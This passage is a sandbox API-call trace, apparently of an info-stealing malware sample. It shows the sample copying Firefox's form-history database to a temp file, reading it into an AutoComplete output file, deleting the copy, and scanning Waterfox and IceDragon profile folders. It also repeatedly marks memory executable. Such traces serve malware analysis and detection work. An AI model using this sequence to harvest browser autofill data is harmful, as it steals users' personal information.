pbstr=0x1e7df6fc*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\formhistory.sqlite") returned 1 [0163.971] SysReAllocStringLen (in: pbstr=0x1e7df75c*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\\\3y2joh8o.default\\formhistory.sqlite", psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\formhistory.sqlite", len=0x5e | out: pbstr=0x1e7df75c*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\formhistory.sqlite") returned 1 [0163.971] SysReAllocStringLen (in: pbstr=0x1e7df6f8*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\formhistory.sqlite", len=0x5e | out: pbstr=0x1e7df6f8*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\formhistory.sqlite") returned 1 [0163.971] SysReAllocStringLen (in: pbstr=0x1e7df75c*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\formhistory.sqlite", psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\formhistory.sqlite", len=0x5e | out: pbstr=0x1e7df75c*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\formhistory.sqlite") returned 1 [0163.971] ExpandEnvironmentStringsW (in: lpSrc="%TEMP%", lpDst=0x1ff01564, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp") returned 0x25 [0163.971] SysReAllocStringLen (in: pbstr=0x1e7df758*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182032848139586271779370.tmp", len=0x41 | out: pbstr=0x1e7df758*="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182032848139586271779370.tmp") returned 1 [0163.972] SysReAllocStringLen (in: pbstr=0x1e7df700*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182032848139586271779370.tmp", len=0x41 | out: pbstr=0x1e7df700*="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182032848139586271779370.tmp") returned 1 [0163.972] SysReAllocStringLen (in: pbstr=0x1e7df758*="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182032848139586271779370.tmp", psz="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182032848139586271779370.tmp", len=0x41 | out: pbstr=0x1e7df758*="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182032848139586271779370.tmp") returned 1 [0163.972] SysReAllocStringLen (in: pbstr=0x1e7df6fc*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182032848139586271779370.tmp", len=0x41 | out: pbstr=0x1e7df6fc*="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182032848139586271779370.tmp") returned 1 [0163.972] SysReAllocStringLen (in: pbstr=0x1e7df758*="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182032848139586271779370.tmp", psz="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182032848139586271779370.tmp", len=0x41 | out: pbstr=0x1e7df758*="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182032848139586271779370.tmp") returned 1 [0163.972] SysReAllocStringLen (in: pbstr=0x1e7df6f8*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182032848139586271779370.tmp", len=0x41 | out: pbstr=0x1e7df6f8*="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182032848139586271779370.tmp") returned 1 [0163.972] SysReAllocStringLen (in: pbstr=0x1e7df758*="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182032848139586271779370.tmp", psz="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182032848139586271779370.tmp", len=0x41 | out: pbstr=0x1e7df758*="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182032848139586271779370.tmp") returned 1 [0163.972] CopyFileW (lpExistingFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\formhistory.sqlite" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\mozilla\\firefox\\profiles\\3y2joh8o.default\\formhistory.sqlite"), lpNewFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182032848139586271779370.tmp" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\182032848139586271779370.tmp"), bFailIfExists=1) returned 1 [0163.985] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182032848139586271779370.tmp", cchWideChar=65, lpMultiByteStr=0x1e7de6fc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182032848139586271779370.tmp\x01[", lpUsedDefaultChar=0x0) returned 65 [0163.986] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf2714, cbMultiByte=65, lpWideCharStr=0x1e7de6dc, cchWideChar=2047 | out: lpWideCharStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182032848139586271779370.tmp῰hiQ") returned 65 [0163.986] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcfeb80, cbMultiByte=65, lpWideCharStr=0x1e7de6fc, cchWideChar=2047 | out: lpWideCharStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182032848139586271779370.tmpq") returned 65 [0163.986] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182032848139586271779370.tmp" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\182032848139586271779370.tmp")) returned 0x2020 [0163.987] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1fe18150, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 66 [0163.987] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1fe18150, cbMultiByte=-1, lpWideCharStr=0x1fe03ca0, cchWideChar=66 | out: lpWideCharStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182032848139586271779370.tmp") returned 66 [0163.987] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182032848139586271779370.tmp", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x42 [0163.987] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182032848139586271779370.tmp", nBufferLength=0x45, lpBuffer=0x1fe03d30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182032848139586271779370.tmp", lpFilePart=0x0) returned 0x41 [0163.987] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182032848139586271779370.tmp", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 66 [0163.987] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182032848139586271779370.tmp", cchWideChar=-1, lpMultiByteStr=0x1fe181a0, cbMultiByte=66, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182032848139586271779370.tmp", lpUsedDefaultChar=0x0) returned 66 [0163.988] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1fe1b5e8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 66 [0163.988] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1fe1b5e8, cbMultiByte=-1, lpWideCharStr=0x1fe03ca0, cchWideChar=66 | out: lpWideCharStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182032848139586271779370.tmp") returned 66 [0163.988] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182032848139586271779370.tmp" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\182032848139586271779370.tmp"), fInfoLevelId=0x0, lpFileInformation=0x1e7df518 | out: lpFileInformation=0x1e7df518*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa6078ec0, ftCreationTime.dwHighDateTime=0x1d6b6fb, ftLastAccessTime.dwLowDateTime=0xa6078ec0, ftLastAccessTime.dwHighDateTime=0x1d6b6fb, ftLastWriteTime.dwLowDateTime=0xd50f65f0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x30000)) returned 1 [0163.988] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182032848139586271779370.tmp" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\182032848139586271779370.tmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x66c [0163.988] ReadFile (in: hFile=0x66c, lpBuffer=0x1e7df648, nNumberOfBytesToRead=0x64, lpNumberOfBytesRead=0x1e7df60c, lpOverlapped=0x1e7df5d0 | out: lpBuffer=0x1e7df648*, lpNumberOfBytesRead=0x1e7df60c*=0x64, lpOverlapped=0x1e7df5d0) returned 1 [0163.989] strncmp (_Str1="simple", _Str2="porter", _MaxCount=0x7) returned 1 [0163.992] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x408000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x408000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.994] LockFileEx (in: hFile=0x66c, dwFlags=0x3, dwReserved=0x0, nNumberOfBytesToLockLow=0x1, nNumberOfBytesToLockHigh=0x0, lpOverlapped=0x1e7de9d0 | out: lpOverlapped=0x1e7de9d0) returned 1 [0163.994] LockFileEx (in: hFile=0x66c, dwFlags=0x1, dwReserved=0x0, nNumberOfBytesToLockLow=0x1fe, nNumberOfBytesToLockHigh=0x0, lpOverlapped=0x1e7de9c4 | out: lpOverlapped=0x1e7de9c4) returned 1 [0163.995] UnlockFileEx (in: hFile=0x66c, dwReserved=0x0, nNumberOfBytesToUnlockLow=0x1, nNumberOfBytesToUnlockHigh=0x0, lpOverlapped=0x1e7de9d4 | out: lpOverlapped=0x1e7de9d4) returned 1 [0163.995] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1fe1b62b, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 74 [0163.995] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1fe1b62b, cbMultiByte=-1, lpWideCharStr=0x1fe53020, cchWideChar=74 | out: lpWideCharStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182032848139586271779370.tmp-journal") returned 74 [0163.995] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182032848139586271779370.tmp-journal" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\182032848139586271779370.tmp-journal"), fInfoLevelId=0x0, lpFileInformation=0x1e7de9d0 | out: lpFileInformation=0x1e7de9d0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0163.995] GetLastError () returned 0x2 [0163.995] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1fe1b675, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 70 [0163.995] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1fe1b675, cbMultiByte=-1, lpWideCharStr=0x1fe03ca0, cchWideChar=70 | out: lpWideCharStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182032848139586271779370.tmp-wal") returned 70 [0163.995] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182032848139586271779370.tmp-wal" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\182032848139586271779370.tmp-wal"), fInfoLevelId=0x0, lpFileInformation=0x1e7de9e8 | out: lpFileInformation=0x1e7de9e8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0163.995] GetLastError () returned 0x2 [0163.996] GetFileSize (in: hFile=0x66c, lpFileSizeHigh=0x1e7dea14 | out: lpFileSizeHigh=0x1e7dea14*=0x0) returned 0x30000 [0163.996] ReadFile (in: hFile=0x66c, lpBuffer=0x1feebbe0, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x1e7de9f0, lpOverlapped=0x1e7de9b4 | out: lpBuffer=0x1feebbe0*, lpNumberOfBytesRead=0x1e7de9f0*=0x8000, lpOverlapped=0x1e7de9b4) returned 1 [0164.006] UnlockFileEx (in: hFile=0x66c, dwReserved=0x0, nNumberOfBytesToUnlockLow=0x1fe, nNumberOfBytesToUnlockHigh=0x0, lpOverlapped=0x1e7de6d0 | out: lpOverlapped=0x1e7de6d0) returned 1 [0164.007] LockFileEx (in: hFile=0x66c, dwFlags=0x3, dwReserved=0x0, nNumberOfBytesToLockLow=0x1, nNumberOfBytesToLockHigh=0x0, lpOverlapped=0x1e7df3a0 | out: lpOverlapped=0x1e7df3a0) returned 1 [0164.007] LockFileEx (in: hFile=0x66c, dwFlags=0x1, dwReserved=0x0, nNumberOfBytesToLockLow=0x1fe, nNumberOfBytesToLockHigh=0x0, lpOverlapped=0x1e7df394 | out: lpOverlapped=0x1e7df394) returned 1 [0164.008] UnlockFileEx (in: hFile=0x66c, dwReserved=0x0, nNumberOfBytesToUnlockLow=0x1, nNumberOfBytesToUnlockHigh=0x0, lpOverlapped=0x1e7df3a4 | out: lpOverlapped=0x1e7df3a4) returned 1 [0164.008] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1fe1b62b, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 74 [0164.008] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1fe1b62b, cbMultiByte=-1, lpWideCharStr=0x1fef5020, cchWideChar=74 | out: lpWideCharStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182032848139586271779370.tmp-journal") returned 74 [0164.008] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182032848139586271779370.tmp-journal" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\182032848139586271779370.tmp-journal"), fInfoLevelId=0x0, lpFileInformation=0x1e7df3a0 | out: lpFileInformation=0x1e7df3a0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0164.008] GetLastError () returned 0x2 [0164.008] ReadFile (in: hFile=0x66c, lpBuffer=0x1e7df424, nNumberOfBytesToRead=0x10, lpNumberOfBytesRead=0x1e7df40c, lpOverlapped=0x1e7df3d0 | out: lpBuffer=0x1e7df424*, lpNumberOfBytesRead=0x1e7df40c*=0x10, lpOverlapped=0x1e7df3d0) returned 1 [0164.008] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1fe1b675, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 70 [0164.008] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1fe1b675, cbMultiByte=-1, lpWideCharStr=0x1fe03ca0, cchWideChar=70 | out: lpWideCharStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182032848139586271779370.tmp-wal") returned 70 [0164.008] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182032848139586271779370.tmp-wal" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\182032848139586271779370.tmp-wal"), fInfoLevelId=0x0, lpFileInformation=0x1e7df3b8 | out: lpFileInformation=0x1e7df3b8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0164.009] GetLastError () returned 0x2 [0164.009] GetFileSize (in: hFile=0x66c, lpFileSizeHigh=0x1e7df3e4 | out: lpFileSizeHigh=0x1e7df3e4*=0x0) returned 0x30000 [0164.009] ReadFile (in: hFile=0x66c, lpBuffer=0x1fee3b40, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x1e7df3d8, lpOverlapped=0x1e7df39c | out: lpBuffer=0x1fee3b40*, lpNumberOfBytesRead=0x1e7df3d8*=0x8000, lpOverlapped=0x1e7df39c) returned 1 [0164.009] UnlockFileEx (in: hFile=0x66c, dwReserved=0x0, nNumberOfBytesToUnlockLow=0x1fe, nNumberOfBytesToUnlockHigh=0x0, lpOverlapped=0x1e7df388 | out: lpOverlapped=0x1e7df388) returned 1 [0164.009] CloseHandle (hObject=0x66c) returned 1 [0164.010] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182032848139586271779370.tmp" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\182032848139586271779370.tmp")) returned 1 [0164.016] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x410000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x410000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0164.016] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0164.016] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0164.017] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0164.017] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0164.018] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0164.018] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0164.019] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x411000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x411000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0164.020] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="Browsers\\AutoComplete\\MozillaFireFox_3y2joh8o.default.txt", cchWideChar=57, lpMultiByteStr=0x1e7de770, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Browsers\\AutoComplete\\MozillaFireFox_3y2joh8o.default.txt", lpUsedDefaultChar=0x0) returned 57 [0164.020] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x40d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x40d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0164.020] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0164.021] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7df7dc | out: lpFindFileData=0x1e7df7dc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3cfa0c70, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0xf4500380, ftLastAccessTime.dwHighDateTime=0x1d30616, ftLastWriteTime.dwLowDateTime=0xf4500380, ftLastWriteTime.dwHighDateTime=0x1d30616, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3y2joh8o.default", cAlternateFileName="3Y2JOH~1.DEF")) returned 0 [0164.021] FindClose (in: hFindFile=0x1e258c88 | out: hFindFile=0x1e258c88) returned 1 [0164.021] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x412000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x412000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0164.022] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x408000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x408000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0164.022] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f0229a4, cbMultiByte=8, lpWideCharStr=0x1e7dea28, cchWideChar=2047 | out: lpWideCharStr="Waterfoxṽለῥṽ") returned 8 [0164.022] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f022978, cbMultiByte=28, lpWideCharStr=0x1e7dea24, cchWideChar=2047 | out: lpWideCharStr="%appdata%\\Waterfox\\Profiles\\꿠ῤ㟌瑿") returned 28 [0164.022] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x406000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x406000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0164.023] ExpandEnvironmentStringsW (in: lpSrc="%appdata%\\Waterfox\\Profiles\\", lpDst=0x1ff01564, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Waterfox\\Profiles\\") returned 0x35 [0164.023] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f022ddc, cbMultiByte=21, lpWideCharStr=0x1e7dea2c, cchWideChar=2047 | out: lpWideCharStr="Browsers\\AutoCompletees\\꿠ῤ㟌瑿") returned 21 [0164.023] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Waterfox\\Profiles\\\\*.*", lpFindFileData=0x1e7df7dc | out: lpFindFileData=0x1e7df7dc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0164.024] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf0764, cbMultiByte=18, lpWideCharStr=0x1e7de764, cchWideChar=2047 | out: lpWideCharStr="formhistory.sqlite楺汬䙡物䙥硯㍟㉹潪㡨⹯敤慦汵⹴硴t") returned 18 [0164.024] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0164.024] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Waterfox\\Profiles\\\\\\formhistory.sqlite" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\waterfox\\profiles\\formhistory.sqlite")) returned 0xffffffff [0164.024] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df7dc | out: lpFindFileData=0x1e7df7dc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0164.024] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0164.025] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f0229f0, cbMultiByte=9, lpWideCharStr=0x1e7dea28, cchWideChar=2047 | out: lpWideCharStr="IceDragons\\AutoCompletees\\꿠ῤ㟌瑿") returned 9 [0164.025] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f0229bc, cbMultiByte=36, lpWideCharStr=0x1e7dea24, cchWideChar=2047 | out: lpWideCharStr="%appdata%\\Comodo\\IceDragon\\Profiles\\ƿ") returned 36 [0164.025] ExpandEnvironmentStringsW (in: lpSrc="%appdata%\\Comodo\\IceDragon\\Profiles\\", lpDst=0x1ff01564, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Comodo\\IceDragon\\Profiles\\") returned 0x3d [0164.025] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f022ddc, cbMultiByte=21, 